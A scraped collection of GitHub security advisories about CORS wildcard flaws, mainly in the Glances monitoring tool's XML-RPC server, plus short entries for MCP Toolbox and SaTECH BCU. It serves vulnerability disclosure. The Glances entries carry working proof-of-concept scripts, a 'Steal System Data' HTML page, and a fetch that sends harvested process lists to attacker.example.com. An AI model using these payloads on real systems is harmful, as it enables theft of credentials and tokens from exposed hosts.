if (data.processlist?.length > 0) {
out.textContent += "[+] Top 10 processes (with full command lines):\n";
data.processlist.slice(0, 10).forEach(p => {
const cmd = Array.isArray(p.cmdline) ? p.cmdline.join(" ") : (p.cmdline || "");
out.textContent += " PID " + p.pid + " | " + p.name + " | " + cmd.substring(0,120) + "\n";
});
}
if (data.network?.length > 0) {
out.textContent += "\n[+] Network interfaces:\n";
data.network.forEach(n => {
out.textContent += " " + n.interface_name + " | RX: " + n.bytes_recv + " TX: " + n.bytes_sent + "\n";
});
}
if (data.fs?.length > 0) {
out.textContent += "\n[+] Filesystems:\n";
data.fs.forEach(f => {
out.textContent += " " + f.mnt_point + " | " + f.device_name + " | " + f.percent + "% used\n";
});
}
}
} catch(e) {
out.textContent += "[-] Error: " + e.message + "\n";
}
}
</script>
</body>
</html>
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Glances"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33533"
],
"database_specific": {
"cwe_ids": [
"CWE-942"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-30T17:00:54Z",
"nvd_published_at": "2026-04-02T15:16:39Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe Glances XML-RPC server (activated with glances -s or glances --server) sends Access-Control-Allow-Origin: * on every HTTP response. Because the XML-RPC handler does not validate the Content-Type header, an attacker-controlled webpage can issue a CORS \"simple request\" (POST with Content-Type: text/plain) containing a valid XML-RPC payload. The browser sends the request without a preflight check, the server processes the XML body and returns the full system monitoring dataset, and the wildcard CORS header lets the attacker\u0027s JavaScript read the response. The result is complete exfiltration of hostname, OS version, IP addresses, CPU/memory/disk/network stats, and the full process list including command lines (which often contain tokens, passwords, or internal paths).\n\n### Details\n\nFile: glances/server.py, class GlancesXMLRPCHandler, line 41\n\n```python\ndef send_my_headers(self):\n self.send_header(\"Access-Control-Allow-Origin\", \"*\")\n```\n\nThis header is attached to every response from the XML-RPC server. The server inherits from SimpleXMLRPCRequestHandler which parses the POST body as XML regardless of the Content-Type header. Combined with the default unauthenticated configuration (server.isAuth = False, line 196), any website on the internet can call getAll(), getPlugin(), getAllPlugins(), getAllLimits(), or getAllViews() and read the results.\n\nThe REST API had the same issue and it was fixed in 4.5.1 (CVE-2026-32610). The XML-RPC server was not patched. The two components are entirely separate code paths: the REST API uses FastAPI/Uvicorn and is started with glances -w, while the XML-RPC server uses Python\u0027s xmlrpc.server and is started with glances -s. The attack works because POST with Content-Type: text/plain is classified as a CORS simple request by browsers, so no OPTIONS preflight is sent. The server never checks the Content-Type value, so the XML-RPC payload inside a text/plain body is parsed and executed normally.\n\n### PoC\n\nPrerequisites: Glances installed (any version including latest 4.5.1+), started in server mode.\n\nStep 1. Start the Glances XML-RPC server on the target machine:\n\n```\nglances -s -p 61209\n```\n\nStep 2. From any machine, run the Python PoC to confirm the issue server-side:\n\n```\npython3 poc_test.py TARGET_IP 61209\n```\n\nStep 3. To demonstrate the browser attack, host poc_cors_xmlrpc.html on any web server (even a different origin). Open it in a browser, enter the target URL (http://TARGET_IP:61209), and click \"Steal System Data\". The page will display the full system monitoring data retrieved cross-origin.\n\nStep 4. Alternatively, paste this into any browser console while on any website:\n\n```javascript\nfetch(\"http://TARGET_IP:61209/RPC2\", {\n method: \"POST\",\n headers: {\"Content-Type\": \"text/plain\"},\n body: \u0027\u003c?xml version=\"1.0\"?\u003e\u003cmethodCall\u003e\u003cmethodName\u003egetAll\u003c/methodName\u003e\u003c/methodCall\u003e\u0027\n}).then(r =\u003e r.text()).then(d =\u003e {\n let m = d.match(/\u003cstring\u003e([\\s\\S]*?)\u003c\\/string\u003e/);\n let data = JSON.parse(m[1].replace(/\u0026lt;/g,\"\u003c\").replace(/\u0026gt;/g,\"\u003e\").replace(/\u0026amp;/g,\"\u0026\"));\n console.log(\"Hostname:\", data.system.hostname);\n console.log(\"Processes:\", data.processlist.length);\n console.log(\"First process cmdline:\", data.processlist[0].cmdline);\n});\n```\n\nVerified output from testing on Glances 4.5.3_dev01 (current main branch):\n\n```\n[+] HTTP Status: 200\n[+] Access-Control-Allow-Origin: *\n[+] Successfully retrieved system data cross-origin.\nHostname: claude\nOS: Linux 6.8.0-1024-gcp\nProcess count: 125\nTop processes include full command lines with arguments\nTotal data categories exposed: 35\n```\n\n### Impact\n\nAny user who runs Glances in server mode (glances -s) on a network-accessible interface is vulnerable. A malicious website visited by anyone on the same network can silently extract the complete system monitoring dataset without any user interaction beyond visiting the page. The stolen data includes hostname, OS version, IP addresses, full process list with command lines (which commonly contain database credentials, API tokens, internal service URLs, and file paths), disk mount points, network interface details, and sensor readings. Default configuration has no authentication, making every XML-RPC server instance exploitable out of the box.\n\npoc_test.py\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: Cross-Origin Data Theft via Glances XML-RPC Server CORS Misconfiguration\n\nThis script simulates the browser-based attack by sending a POST request with\nContent-Type: text/plain (CORS simple request) to the Glances XML-RPC server.\n\nThe server responds with Access-Control-Allow-Origin: * which allows any\nwebpage to read the full response containing system monitoring data.\n\nUsage: python3 poc_test.py [target_host] [target_port]\nDefault: python3 poc_test.py 127.0.0.1 61209\n\"\"\"\n\nimport http.client\nimport json\nimport sys\nimport xmlrpc.client\n\n\ndef main():\n host = sys.argv[1] if len(sys.argv) \u003e 1 else \"127.0.0.1\"\n port = int(sys.argv[2]) if len(sys.argv) \u003e 2 else 61209\n\n print(f\"[*] Target: {host}:{port}\")\n print(f\"[*] Simulating cross-origin request (Content-Type: text/plain)\")\n print()\n\n conn = http.client.HTTPConnection(host, port, timeout=10)\n\n # XML-RPC payload sent as text/plain to avoid CORS preflight\n payload = \u0027\u003c?xml version=\"1.0\"?\u003e\u003cmethodCall\u003e\u003cmethodName\u003egetAll\u003c/methodName\u003e\u003c/methodCall\u003e\u0027\n headers = {\n \"Content-Type\": \"text/plain\",\n \"Origin\": \"http://evil-attacker.com\",\n }\n\n try:\n conn.request(\"POST\", \"/RPC2\", body=payload, headers=headers)\n response = conn.getresponse()\n except Exception as e:\n print(f\"[-] Connection failed: {e}\")\n sys.exit(1)\n\n print(f\"[+] HTTP Status: {response.status}\")\n cors = response.getheader(\"Access-Control-Allow-Origin\")\n print(f\"[+] Access-Control-Allow-Origin: {cors}\")\n print()\n\n if cors != \"*\":\n print(\"[-] CORS header is not wildcard. Attack would not work.\")\n sys.exit(1)\n\n data = response.read()\n result = xmlrpc.client.loads(data)[0][0]\n parsed = json.loads(result)\n\n print(\"[+] Successfully retrieved system data cross-origin.\")\n print()\n print(\"=== Stolen System Information ===\")\n print()\n\n system = parsed.get(\"system\", {})\n print(f\"Hostname: {system.get(\u0027hostname\u0027, \u0027N/A\u0027)}\")\n print(f\"OS: {system.get(\u0027os_name\u0027, \u0027N/A\u0027)} {system.get(\u0027os_version\u0027, \u0027\u0027)}\")\n print(f\"Platform: {system.get(\u0027platform\u0027, \u0027N/A\u0027)}\")\n print(f\"Distribution: {system.get(\u0027linux_distro\u0027, \u0027N/A\u0027)}\")\n print()\n\n cpu = parsed.get(\"cpu\", {})\n print(f\"CPU user: {cpu.get(\u0027user\u0027, \u0027N/A\u0027)}%\")\n print(f\"CPU system: {cpu.get(\u0027system\u0027, \u0027N/A\u0027)}%\")\n print(f\"CPU cores: {cpu.get(\u0027cpucore\u0027, \u0027N/A\u0027)}\")\n print()\n\n mem = parsed.get(\"mem\", {})\n total_mb = round((mem.get(\"total\", 0)) / 1024 / 1024)\n used_mb = round((mem.get(\"used\", 0)) / 1024 / 1024)\n print(f\"Memory: {used_mb}MB / {total_mb}MB ({mem.get(\u0027percent\u0027, \u0027N/A\u0027)}%)\")\n print()\n\n ip_info = parsed.get(\"ip\", {})\n print(f\"IP Address: {ip_info.get(\u0027address\u0027, \u0027N/A\u0027)}\")\n print(f\"Subnet Mask: {ip_info.get(\u0027mask\u0027, \u0027N/A\u0027)}\")\n print()\n\n procs = parsed.get(\"processlist\", [])\n print(f\"Process count: {len(procs)}\")\n print()\n print(\"Top 5 processes by CPU (with command lines):\")\n for p in sorted(procs, key=lambda x: x.get(\"cpu_percent\", 0), reverse=True)[:5]:\n cmdline = p.get(\"cmdline\", [])\n cmd = \" \".join(cmdline) if isinstance(cmdline, list) else str(cmdline)\n print(f\" PID {p.get(\u0027pid\u0027):\u003e6} | {p.get(\u0027name\u0027, \u0027N/A\u0027):\u003e20} | CPU {p.get(\u0027cpu_percent\u0027, 0):\u003e5.1f}% | {cmd[:100]}\")\n\n print()\n print(f\"[+] Total data categories exposed: {len(parsed.keys())}\")\n print(f\"[+] Categories: {\u0027, \u0027.join(sorted(parsed.keys()))}\")\n\n\nif __name__ == \"__main__\":\n main()\n```\n\npoc_cors_xmlrpc.html\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eGlances XML-RPC CORS PoC\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ch2\u003eGlances XML-RPC Cross-Origin Data Theft PoC\u003c/h2\u003e\n\u003cp\u003eTarget: \u003cinput id=\"target\" value=\"http://127.0.0.1:61209\" size=\"40\"\u003e\u003c/p\u003e\n\u003cbutton onclick=\"exploit()\"\u003eSteal System Data\u003c/button\u003e\n\u003cpre id=\"output\" style=\"background:#111;color:#0f0;padding:10px;max-height:600px;overflow:auto;\"\u003e\u003c/pre\u003e\n\u003cscript\u003e\nasync function exploit() {\n const target = document.getElementById(\"target\").value;\n const out = document.getElementById(\"output\");\n out.textContent = \"[*] Sending cross-origin XML-RPC request to \" + target + \"/RPC2\\n\";\n out.textContent += \"[*] Content-Type: text/plain (CORS simple request, no preflight)\\n\\n\";\n\n try {\n const resp = await fetch(target + \"/RPC2\", {\n method: \"POST\",\n headers: {\"Content-Type\": \"text/plain\"},\n body: \u0027\u003c?xml version=\"1.0\"?\u003e\u003cmethodCall\u003e\u003cmethodName\u003egetAll\u003c/methodName\u003e\u003c/methodCall\u003e\u0027\n });\n\n out.textContent += \"[+] Response status: \" + resp.status + \"\\n\";\n out.textContent += \"[+] CORS header: \" + resp.headers.get(\"Access-Control-Allow-Origin\") + \"\\n\\n\";\n\n const xml = await resp.text();\n const match = xml.match(/\u003cstring\u003e([\\s\\S]*?)\u003c\\/string\u003e/);\n if (match) {\n const data = JSON.parse(match[1].replace(/\u0026lt;/g,\"\u003c\").replace(/\u0026gt;/g,\"\u003e\").replace(/\u0026amp;/g,\"\u0026\"));\n out.textContent += \"[+] === STOLEN SYSTEM DATA ===\\n\\n\";\n out.textContent += \"Hostname: \" + (data.system?.hostname || \"N/A\") + \"\\n\";\n out.textContent += \"OS: \" + (data.system?.os_name || \"N/A\") + \" \" + (data.system?.os_version || \"\") + \"\\n\";\n out.textContent += \"CPU cores: \" + (data.cpu?.cpucore || \"N/A\") + \"\\n\";\n out.textContent += \"CPU usage: \" + (data.cpu?.user || \"N/A\") + \"% user\\n\";\n out.textContent += \"Memory: \" + Math.round((data.mem?.used||0)/1024/1024) + \"MB / \" + Math.round((data.mem?.total||0)/1024/1024) + \"MB\\n\";\n out.textContent += \"Processes: \" + (data.processlist?.length || 0) + \"\\n\\n\";\n\n if (data.processlist?.length \u003e 0) {\n out.textContent += \"[+] Top 10 processes (with full command lines):\\n\";\n data.processlist.slice(0, 10).forEach(p =\u003e {\n const cmd = Array.isArray(p.cmdline) ? p.cmdline.join(\" \") : (p.cmdline || \"\");\n out.textContent += \" PID \" + p.pid + \" | \" + p.name + \" | \" + cmd.substring(0,120) + \"\\n\";\n });\n }\n\n if (data.network?.length \u003e 0) {\n out.textContent += \"\\n[+] Network interfaces:\\n\";\n data.network.forEach(n =\u003e {\n out.textContent += \" \" + n.interface_name + \" | RX: \" + n.bytes_recv + \" TX: \" + n.bytes_sent + \"\\n\";\n });\n }\n\n if (data.fs?.length \u003e 0) {\n out.textContent += \"\\n[+] Filesystems:\\n\";\n data.fs.forEach(f =\u003e {\n out.textContent += \" \" + f.mnt_point + \" | \" + f.device_name + \" | \" + f.percent + \"% used\\n\";\n });\n }\n }\n } catch(e) {\n out.textContent += \"[-] Error: \" + e.message + \"\\n\";\n }\n}\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```",
"id": "GHSA-7p93-6934-f4q7",
"modified": "2026-04-27T15:23:43Z",
"published": "2026-03-30T17:00:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nicolargo/glances/security/advisories/GHSA-7p93-6934-f4q7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33533"
},
{
"type": "WEB",
"url": "https://github.com/nicolargo/glances/commit/dcb39c3f12b2a1eec708c58d22d7a1d62bdf5fa1"
},
{
"type": "PACKAGE",
"url": "https://github.com/nicolargo/glances"
},
{
"type": "WEB",
"url": "https://github.com/nicolargo/glances/releases/tag/v4.5.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Glances Vulnerable to Cross-Origin System Information Disclosure via XML-RPC Server CORS Wildcard"
}
GHSA-7PF3-8XX7-RVHF
Vulnerability from github – Published: 2026-05-28 00:30 – Updated: 2026-07-01 20:54Vulnerable to DNS rebinding attacks when using SSE (http://b/499408790). During the beta phase, we implemented allowed-origins and allowed-hosts flags to align with MCP security guidelines. However, the hardcoded Access-Control-Allow-Origin: * header in the SSE initialization handler was inadvertently retained. This vulnerability specifically impacts users connecting via Toolbox using SSE under specification v2024-11-05.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/googleapis/mcp-toolbox"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-9739"
],
"database_specific": {
"cwe_ids": [
"CWE-942"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-01T20:54:22Z",
"nvd_published_at": "2026-05-27T23:16:48Z",
"severity": "CRITICAL"
},
"details": "Vulnerable to DNS rebinding attacks when using SSE (http://b/499408790). During the beta phase, we implemented `allowed-origins` and `allowed-hosts` flags to align with MCP security guidelines. However, the hardcoded `Access-Control-Allow-Origin: *` header in the SSE initialization handler was inadvertently retained. This vulnerability specifically impacts users connecting via Toolbox using SSE under specification v2024-11-05.",
"id": "GHSA-7pf3-8xx7-rvhf",
"modified": "2026-07-01T20:54:22Z",
"published": "2026-05-28T00:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9739"
},
{
"type": "WEB",
"url": "https://github.com/googleapis/mcp-toolbox/issues/3053"
},
{
"type": "WEB",
"url": "https://github.com/googleapis/mcp-toolbox/pull/3054"
},
{
"type": "WEB",
"url": "https://github.com/googleapis/mcp-toolbox/commit/c4c7bd917e686de68e2be866cfe3872c3439efae"
},
{
"type": "PACKAGE",
"url": "https://github.com/googleapis/mcp-toolbox"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "MCP Toolbox for Databases vulnerable to DNS rebinding attacks"
}
GHSA-7V32-CC9H-MHV6
Vulnerability from github – Published: 2025-03-28 15:31 – Updated: 2025-10-10 18:31SaTECH BCU, in its firmware version 2.1.3, could allow XSS attacks and other malicious resources to be stored on the web server. An attacker with some knowledge of the web application could send a malicious request to the victim users. Through this request, the victims would interpret the code (resources) stored on another malicious website owned by the attacker.
{
"affected": [],
"aliases": [
"CVE-2025-2865"
],
"database_specific": {
"cwe_ids": [
"CWE-79",
"CWE-942"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-28T14:15:21Z",
"severity": "LOW"
},
"details": "SaTECH BCU, in its firmware version 2.1.3, could allow XSS attacks and other malicious resources to be stored on the web server. An attacker with some knowledge of the web application could send a malicious request to the victim users. Through this request, the victims would interpret the code (resources) stored on another malicious website owned by the attacker.",
"id": "GHSA-7v32-cc9h-mhv6",
"modified": "2025-10-10T18:31:17Z",
"published": "2025-03-28T15:31:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-2865"
},
{
"type": "WEB",
"url": "https://www.incibe.es/en/incibe-cert/notices/aviso-sci/multiple-vulnerabilities-arteches-satech-bcu"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-87QC-FJ39-WCCR
Vulnerability from github – Published: 2026-06-22 21:27 – Updated: 2026-06-22 21:27Summary
The Glances XML-RPC server (glances -s) introduced a configurable CORS origin list in version 4.5.3 as a mitigation for CVE 2026-33533. However, the implementation silently falls back to Access-Control-Allow-Origin: * whenever cors_origins contains more than one entry. An operator who configures an explicit two-entry allowlist (e.g. two internal dashboard origins) intending to restrict browser access instead receives the unrestricted wildcard — the same exposure that the original CVE described. A malicious web page served from any origin can issue a CORS simple request to /RPC2 and read the full system monitoring dataset without the victim's knowledge.
Details
Affected file: glances/server.py, class GlancesXMLRPCServer, line 113
Direct URL (commit 04579778e733d705898a169e049dc84772c852da): - https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/server.py#L113
# server.py (GlancesXMLRPCServer.__init__)
cors_origins = self.args.cors_origins # list from config / CLI
# Line 113 — the incomplete fix:
self.cors_origin = cors_origins[0] if len(cors_origins) == 1 else '*'
# ^^^
# Any allowlist with 2+ entries collapses to the wildcard
The cors_origin value is then echoed back as the Access-Control-Allow-Origin response header for every request (line ~147 in the same file):
self.send_header('Access-Control-Allow-Origin', self.cors_origin)
This means the CORS header is determined once at server startup and never compared against the actual Origin header sent by the browser. Even if an operator sets:
# glances.conf
[outputs]
cors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.com
the server responds with Access-Control-Allow-Origin: * to every request, including those from https://attacker.example.com.
Single-origin wildcard (the default, cors_origins = *) is also still in effect; the fix only helps if exactly one non-wildcard origin is configured.
Confirmed on: x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).
Test results:
| Origin sent | ACAO header returned | Expected |
|---|---|---|
http://evil.example.com |
* |
No header |
https://dashboard.corp |
* |
Reflected |
https://grafana.corp |
* |
Reflected |
PoC
Special configuration required
The multi-origin collapse is only triggered when cors_origins contains two or more entries. Create the following glances.conf:
# /tmp/glances_multiorigin.conf
[global]
check_update = false
[outputs]
cors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.com
Step 1 — Start the XML-RPC server using the config above
glances -s -p 61209 -C /tmp/glances_multiorigin.conf
Step 2 — Send a CORS simple request from a foreign origin
curl -s -D - -X POST "http://TARGET_HOST:61209/RPC2" \
-H "Content-Type: text/plain" \
-H "Origin: http://evil.example.com" \
-d '<?xml version="1.0"?>
<methodCall><methodName>getAllPlugins</methodName></methodCall>'
Expected (secure) response:
HTTP/1.0 400 Bad Request
or no Access-Control-Allow-Origin header.
Actual response:
HTTP/1.0 200 OK
Access-Control-Allow-Origin: *
...
<?xml version='1.0'?>
<methodResponse>
<params><param><value><array><data>
<value><string>cpu</string></value>
<value><string>mem</string></value>
...
</data></array></value></param></params>
</methodResponse>
Step 3 — Demonstrate the code-level collapse to wildcard
import sys
sys.path.insert(0, '/path/to/glances') # adjust to local clone
from glances.config import Config
c = Config('/tmp/glances_multiorigin.conf')
cors_list = c.get_list_value('outputs', 'cors_origins', default=['*'])
# Reproduces server.py line 113:
result = cors_list[0] if len(cors_list) == 1 else '*'
print('cors_origins config :', cors_list)
print('cors_origin applied :', result)
print('Is wildcard? :', result == '*')
# cors_origins config : ['https://dashboard.corp.example.com', 'https://grafana.corp.example.com']
# cors_origin applied : *
# Is wildcard? : True
Browser-based exploitation
Once the wildcard is confirmed, the original CVE-2026-33533 attack vector still applies in full. A malicious page served to a victim whose browser can reach the Glances server can exfiltrate data as follows:
// Runs in a page on http://evil.example.com
const payload = `<?xml version="1.0"?>
<methodCall><methodName>getAll</methodName></methodCall>`;
fetch('http://GLANCES_HOST:61209/RPC2', {
method: 'POST',
headers: { 'Content-Type': 'text/plain' },
body: payload,
})
.then(r => r.text())
.then(data => {
// 'data' contains hostname, OS, full process list, network interfaces, etc.
fetch('https://attacker.example.com/collect?d=' + btoa(data));
});
This works as a CORS "simple request" (POST + text/plain) — no CORS preflight is triggered and the * wildcard allows the browser to read the response.
Impact
Vulnerability type: CORS Misconfiguration / Bypass of CVE-2026-33533 mitigation (CWE-942)
Who is impacted: Any operator who:
1. Runs Glances in XML-RPC server mode (glances -s), and
2. Has configured two or more cors_origins entries in glances.conf believing
they are restricting browser access.
Operators using the default single-wildcard configuration (cors_origins = *, which is the upstream default) remain affected by the original CVE-2026-33533 exposure (unrestricted cross-origin read). The incomplete fix addresses only the narrow case of a single non-wildcard origin.
Data exposed through the XML-RPC API includes: hostname, OS and kernel version, full process list with command-line arguments (frequently containing API keys, passwords, and tokens), CPU/memory/disk/network statistics, listening ports, and Docker/Kubernetes container metadata.
Impact: - Confidentiality: High — complete system monitoring data readable by any browser page. - Integrity: None — read-only API. - Availability: None — no denial-of-service component.
Suggested Fix
Implement per-request origin reflection against the configured allowlist, as recommended by the W3C CORS specification and as done by modern CORS middleware (e.g. Starlette's CORSMiddleware):
# server.py — replace the single static self.cors_origin field with:
def _get_acao_header(self, request_origin: str) -> str | None:
"""Return the correct Access-Control-Allow-Origin value or None."""
if not self.cors_origins or '*' in self.cors_origins:
return '*'
if request_origin in self.cors_origins:
return request_origin
return None # do not send the header for unlisted origins
# In do_POST / send_response:
origin = self.headers.get('Origin', '')
acao = self._get_acao_header(origin)
if acao:
self.send_header('Access-Control-Allow-Origin', acao)
self.send_header('Vary', 'Origin')
Additionally, consider retiring the legacy XML-RPC server in favour of the REST API (glances -w), which uses Starlette's CORSMiddleware correctly, and document the deprecation path.
Responsible Disclosure
The AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.
Credits
This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "glances"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46608"
],
"database_specific": {
"cwe_ids": [
"CWE-183",
"CWE-942"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-22T21:27:24Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nThe Glances XML-RPC server (`glances -s`) introduced a configurable CORS origin list in version 4.5.3 as a mitigation for CVE 2026-33533. However, the implementation silently falls back to `Access-Control-Allow-Origin: *` whenever `cors_origins` contains more than one entry. An operator who configures an explicit two-entry allowlist (e.g. two internal dashboard origins) intending to restrict browser access instead receives the unrestricted wildcard \u2014 the same exposure that the original CVE described. A malicious web page served from any origin can issue a CORS simple request to `/RPC2` and read the full system monitoring dataset without the victim\u0027s knowledge.\n\n---\n\n### Details\n\n**Affected file:** `glances/server.py`, class `GlancesXMLRPCServer`, line 113\n\n**Direct URL (commit 04579778e733d705898a169e049dc84772c852da):**\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/server.py#L113\n\n```python\n# server.py (GlancesXMLRPCServer.__init__)\ncors_origins = self.args.cors_origins # list from config / CLI\n\n# Line 113 \u2014 the incomplete fix:\nself.cors_origin = cors_origins[0] if len(cors_origins) == 1 else \u0027*\u0027\n# ^^^\n# Any allowlist with 2+ entries collapses to the wildcard\n```\n\nThe `cors_origin` value is then echoed back as the `Access-Control-Allow-Origin` response header for every request (line ~147 in the same file):\n\n```python\nself.send_header(\u0027Access-Control-Allow-Origin\u0027, self.cors_origin)\n```\n\nThis means the CORS header is determined once at server startup and never compared against the actual `Origin` header sent by the browser. Even if an operator sets:\n\n```ini\n# glances.conf\n[outputs]\ncors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.com\n```\n\nthe server responds with `Access-Control-Allow-Origin: *` to every request, including those from `https://attacker.example.com`.\n\n**Single-origin wildcard** (the default, `cors_origins = *`) is also still in effect; the fix only helps if exactly one non-wildcard origin is configured.\n\n**Confirmed on:** x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).\n\nTest results:\n\n| Origin sent | ACAO header returned | Expected |\n|--------------------------|----------------------|--------------|\n| `http://evil.example.com`| `*` | No header |\n| `https://dashboard.corp` | `*` | Reflected |\n| `https://grafana.corp` | `*` | Reflected |\n\n---\n\n### PoC\n\n**Special configuration required**\n\nThe multi-origin collapse is only triggered when `cors_origins` contains two or more entries. Create the following `glances.conf`:\n\n```ini\n# /tmp/glances_multiorigin.conf\n[global]\ncheck_update = false\n\n[outputs]\ncors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.com\n```\n\n**Step 1 \u2014 Start the XML-RPC server using the config above**\n\n```bash\nglances -s -p 61209 -C /tmp/glances_multiorigin.conf\n```\n\n**Step 2 \u2014 Send a CORS simple request from a foreign origin**\n\n```bash\ncurl -s -D - -X POST \"http://TARGET_HOST:61209/RPC2\" \\\n -H \"Content-Type: text/plain\" \\\n -H \"Origin: http://evil.example.com\" \\\n -d \u0027\u003c?xml version=\"1.0\"?\u003e\n \u003cmethodCall\u003e\u003cmethodName\u003egetAllPlugins\u003c/methodName\u003e\u003c/methodCall\u003e\u0027\n```\n\n**Expected (secure) response:**\n\n```\nHTTP/1.0 400 Bad Request\n```\n\nor no `Access-Control-Allow-Origin` header.\n\n**Actual response:**\n\n```\nHTTP/1.0 200 OK\nAccess-Control-Allow-Origin: *\n...\n\u003c?xml version=\u00271.0\u0027?\u003e\n\u003cmethodResponse\u003e\n \u003cparams\u003e\u003cparam\u003e\u003cvalue\u003e\u003carray\u003e\u003cdata\u003e\n \u003cvalue\u003e\u003cstring\u003ecpu\u003c/string\u003e\u003c/value\u003e\n \u003cvalue\u003e\u003cstring\u003emem\u003c/string\u003e\u003c/value\u003e\n ...\n \u003c/data\u003e\u003c/array\u003e\u003c/value\u003e\u003c/param\u003e\u003c/params\u003e\n\u003c/methodResponse\u003e\n```\n\n**Step 3 \u2014 Demonstrate the code-level collapse to wildcard**\n\n```python\nimport sys\nsys.path.insert(0, \u0027/path/to/glances\u0027) # adjust to local clone\nfrom glances.config import Config\n\nc = Config(\u0027/tmp/glances_multiorigin.conf\u0027)\ncors_list = c.get_list_value(\u0027outputs\u0027, \u0027cors_origins\u0027, default=[\u0027*\u0027])\n# Reproduces server.py line 113:\nresult = cors_list[0] if len(cors_list) == 1 else \u0027*\u0027\n\nprint(\u0027cors_origins config :\u0027, cors_list)\nprint(\u0027cors_origin applied :\u0027, result)\nprint(\u0027Is wildcard? :\u0027, result == \u0027*\u0027)\n# cors_origins config : [\u0027https://dashboard.corp.example.com\u0027, \u0027https://grafana.corp.example.com\u0027]\n# cors_origin applied : *\n# Is wildcard? : True\n```\n\n**Browser-based exploitation**\n\nOnce the wildcard is confirmed, the original CVE-2026-33533 attack vector still applies in full. A malicious page served to a victim whose browser can reach the Glances server can exfiltrate data as follows:\n\n```javascript\n// Runs in a page on http://evil.example.com\nconst payload = `\u003c?xml version=\"1.0\"?\u003e\n \u003cmethodCall\u003e\u003cmethodName\u003egetAll\u003c/methodName\u003e\u003c/methodCall\u003e`;\n\nfetch(\u0027http://GLANCES_HOST:61209/RPC2\u0027, {\n method: \u0027POST\u0027,\n headers: { \u0027Content-Type\u0027: \u0027text/plain\u0027 },\n body: payload,\n})\n.then(r =\u003e r.text())\n.then(data =\u003e {\n // \u0027data\u0027 contains hostname, OS, full process list, network interfaces, etc.\n fetch(\u0027https://attacker.example.com/collect?d=\u0027 + btoa(data));\n});\n```\n\nThis works as a CORS \"simple request\" (POST + `text/plain`) \u2014 no CORS preflight is triggered and the `*` wildcard allows the browser to read the response.\n\n---\n\n### Impact\n\n**Vulnerability type:** CORS Misconfiguration / Bypass of CVE-2026-33533 mitigation (CWE-942)\n\n**Who is impacted:** Any operator who:\n1. Runs Glances in XML-RPC server mode (`glances -s`), *and*\n2. Has configured two or more `cors_origins` entries in `glances.conf` believing\n they are restricting browser access.\n\nOperators using the default single-wildcard configuration (`cors_origins = *`, which is the upstream default) remain affected by the original CVE-2026-33533 exposure (unrestricted cross-origin read). The incomplete fix addresses only the narrow case of a single non-wildcard origin.\n\n**Data exposed through the XML-RPC API** includes: hostname, OS and kernel version, full process list with command-line arguments (frequently containing API keys, passwords, and tokens), CPU/memory/disk/network statistics, listening ports, and Docker/Kubernetes container metadata.\n\n**Impact:**\n- **Confidentiality:** High \u2014 complete system monitoring data readable by any browser page.\n- **Integrity:** None \u2014 read-only API.\n- **Availability:** None \u2014 no denial-of-service component.\n\n---\n\n### Suggested Fix\n\nImplement per-request origin reflection against the configured allowlist, as recommended by the W3C CORS specification and as done by modern 